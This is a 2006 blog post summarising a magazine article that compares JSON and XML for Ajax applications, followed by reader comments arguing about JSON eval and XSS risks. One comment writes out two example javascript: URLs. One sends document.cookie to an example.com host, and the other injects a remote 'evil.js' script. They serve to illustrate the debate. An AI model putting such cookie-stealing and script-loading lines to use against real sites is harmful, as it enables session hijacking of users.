Tuesday, April 11th, 2006

AjaxWorld Magazine: JSON versus XML

Category: Ajax, XmlHttpRequest

<p> XML has been a solid standby in the online world for a while now, representing the true flexibility and structure that works behind the scenes of several of our favorite Web 2.0 applications. There’s a new kid on the block that’s vying for the top spot as a communication method between applications – JSON – and in this new article from AjaxWorld Magazine Daniel Markham looks extensively at the two, comparing and contrasting what they are and how they can best be used.

It’s not the latest sequel to the “Jason versus Freddie� movie, it’s one of the decisions you need to make if you’re rolling out a Web 2.0 product. Make the wrong choice, and your project and reputation can suffer. Make the right choice, and you can be a hero. There aren’t any easy answers, but I can take you on a tour of the technology and the decisions involved so you can make a better-informed choice. During our tour I promise you won’t be attacked by a man in a hockey mask, so sit back and enjoy the ride.

He sets up to two camps of thought, drawing the lines between each side. He braks through that a little with the mention of JSON embedded inside an XML message, but it seems silly when just a JSON (or just an XML) message world do. He also mentions what he sees as the primary plus on JSON’s site – its transportation-independence. It also removes one of the restrictions that Ajax users (because of the XMLHttpRequest object) have had to work around, namely cross-domain requests. For the XML side of things, one of the main strengths he sees is the “right out of the box” nature of many Ajax toolkits and libraries out there – including Microsoft’s Atlas.

There is no real winner on this one – it basically boils down to using the right tool for the right job (again).

Related Content:

  • XML Tutorial
    This tutorial contains XML articles, tutorials, examples, tips, tools, white papers, expert advice and more to pump up your XML know-how...
  • Ajax Learning Guide
    Chances are, you've been doing JavaScript and XML developer work in Lotus Domino for quite some time. This old/new approach is causing quite a stir in...
  • Ajax Learning Guide
    Are you a Web developer? The time has come to rethink your entire approach to developing Web applications. Find out about the Ajax approach...
  • Readers' Choice Awards '08: IT Security Products of the Year
    Information Security magazine's annual Readers' Choice Awards honor security software, services and products of the year in several areas:...
  • HP.com's Transformation Through SOA and Governance
    HP IT is undergoing arguably the largest transformation in the history of the industry. At the end of the process, there will be around 1500...

Posted by Chris Cornutt at 7:00 am
12 Comments

+++--
3.7 rating from 59 votes

12 Comments »

Comments feed TrackBack URI

Well I guess that’s the skinny on the XML saga? Or is it :)

Comment by Benjamin — April 11, 2006

of course there is a “winner” – xml. with e4x you get the same binding power of json, actually it has the potential to be much higher performance as it is not doing a whole-language eval as json requires, just a simple binding. and lets not forget the tantalizing potential for json to inject badness into your runtime, which hasn’t tripped up anyone yet because json is still in the “we’re all friends” era. xml is document structure and thats it, json is, for lack of a better description, a program.

Comment by fartikus — April 11, 2006

of course there is a “winner” – xml. with e4x you get the same binding power of json, actually it has the potential to be much higher performance as it is not doing a whole-language eval as json requires, just a simple binding. and lets not forget the tantalizing potential for json to inject badness into your runtime, which hasn’t tripped up anyone yet because json is still in the “we’re all friends” era. xml is document structure and thats it, json is, for lack of a better description, a program. sorry for the dupe, this comments system is confusing for those of us who disable js (the captcha appears to be a no-op?)

Comment by fartikus — April 11, 2006

You disable JavaScript… and you go to an Ajax website. Okay.

Feel free to explain how to perform an injection attack with a JSON-based RPC in a properly-designed application, because I would be interested to hear it.

Comment by Matthew Ratzloff — April 11, 2006

“properly designed” app? security 101, you assume they are out to get you. lets turn this around – tell me about all the XSS attacks that use xml as a vector.

i am using noscript, so i am not disabling javascript globally. even this site is invoking foreign js. is measuremap trustworthy? maybe, but until i know for sure (and until they provide me with functionality that benefits ME), they are disabled. go read up on some of the rudimentary XSS exploits and i can assure you that you will be running noscript too.

Comment by fartikus — April 11, 2006

lets even add this gem matthew – if you have js globally enabled, its almost certain your cookies have already been sent to an untrustworthy party, like many times.

Comment by fartikus — April 11, 2006

oh lets not forget that i can apply css to xml directly, thus enabling document presentation for those who disable js. this has the added performance benefit of not requiring createElement at each value in the struct.

and use can use xpath on xml once it is appended to the dom (which happens much faster than iterating over an eval’d json struct).

Comment by fartikus — April 11, 2006

Javascript exploits are always going to be simple. A link like, I dunno:

javascript:document.location=”http://www.example.com?c=”+document.cookie

OMG I STOLE YOUR COOKIES!!!

or maybe even something simple like:

javascript:node = document.createNode(“script”); node.src = “http://example.com/evil.js”; document.body.appendChild(node);

You can’t rely on javascript to secure ANYTHING, JSON, XML, or not.

JSON is a really convenient way to transfer data. Tons of getElementsByTagName() type of queries are just annoying. If users are able to manipulate the data that you’re calling eval on some how, then they’re most certainly going to be able to do the above.

Comment by Kevin Brown — April 12, 2006

Interesting Finds

Trackback by Jason Haley — April 12, 2006

kevin brown – you do not need javascript to use xml to display web pages. see http get.

Comment by fartikus — April 12, 2006

kevin brown – you do not need javascript to use xml to display web pages. see http “get”.

Comment by fartikus — April 12, 2006

> “properly designed� app? security 101, you assume
> they are out to get you.

That’s my point. On a properly-designed web application, you assume that every piece of user data is corrupt, meaning that you won’t be subject to the various scripting exploits.

You are apparently approaching this from the angle of browsing. I’m approaching it from the angle of server security. If I get a little bit more spam because some site nicked my e-mail address in a XSS exploit… whatever. If someone uses cURL to inject JavaScript into my database and replace my form login action with their own and then passes it back to my server so the user is unaware anything happened, then we have a problem. And on the sites where I do anything of consequence, I trust them to be compentent enough to avoid that, because it’s their reputation on the line.

> go read up on some of the rudimentary XSS exploits and
> i can assure you that you will be running noscript too.

I’m well aware of XSS, thanks.

Comment by Matthew Ratzloff — April 13, 2006

Leave a comment

You must be logged in to post a comment.